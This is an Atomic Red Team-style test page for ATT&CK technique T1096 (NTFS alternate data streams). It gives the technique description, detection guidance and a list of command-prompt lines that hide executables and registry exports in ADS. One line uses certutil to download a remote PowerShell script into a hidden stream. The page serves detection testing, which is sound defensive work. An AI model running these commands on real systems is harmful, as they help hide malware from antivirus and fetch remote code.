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T1096 - NTFS File Attributes

Description from ATT&CK

Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternative Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)

Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)

Detection: Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions, used to interact with EA, and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)

The Streams tool of Sysinternals can be used to uncover files with ADSs. The dir /r command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a -stream parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)

Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: file.ext:ads[.ext]) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014)

Platforms: Windows

Data Sources: File monitoring, Kernel drivers, API monitoring

Defense Bypassed: Signature-based detection, Anti-virus, Host forensic analysis

System Requirements: NTFS partitioned hard drive

Contributors: Red Canary

Atomic Tests


Atomic Test #1 - Alternate Data Streams (ADS)

Execute from Alternate Streams

Reference - 1

Reference - 2

Supported Platforms: Windows

Inputs

Name Description Type Default Value
path Path of ADS file path c:\ADS|

Run it with command_prompt!

type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
extrac32 #{path}\procexp.cab #{path}\file.txt:procexp.exe
findstr /V /L W3AllLov3DonaldTrump #{path}\procexp.exe > #{path}\file.txt:procexp.exe
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
makecab #{path}\autoruns.exe #{path}\cabtest.txt:autoruns.cab
print /D:#{path}\file.txt:autoruns.exe #{path}\Autoruns.exe
reg export HKLM\SOFTWARE\Microsoft\Evilreg #{path}\file.txt:evilreg.reg
regedit /E #{path}\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
expand \\webdav\folder\file.bat #{path}\file.txt:file.bat
esentutl.exe /y #{path}\autoruns.exe /d #{path}\file.txt:autoruns.exe /o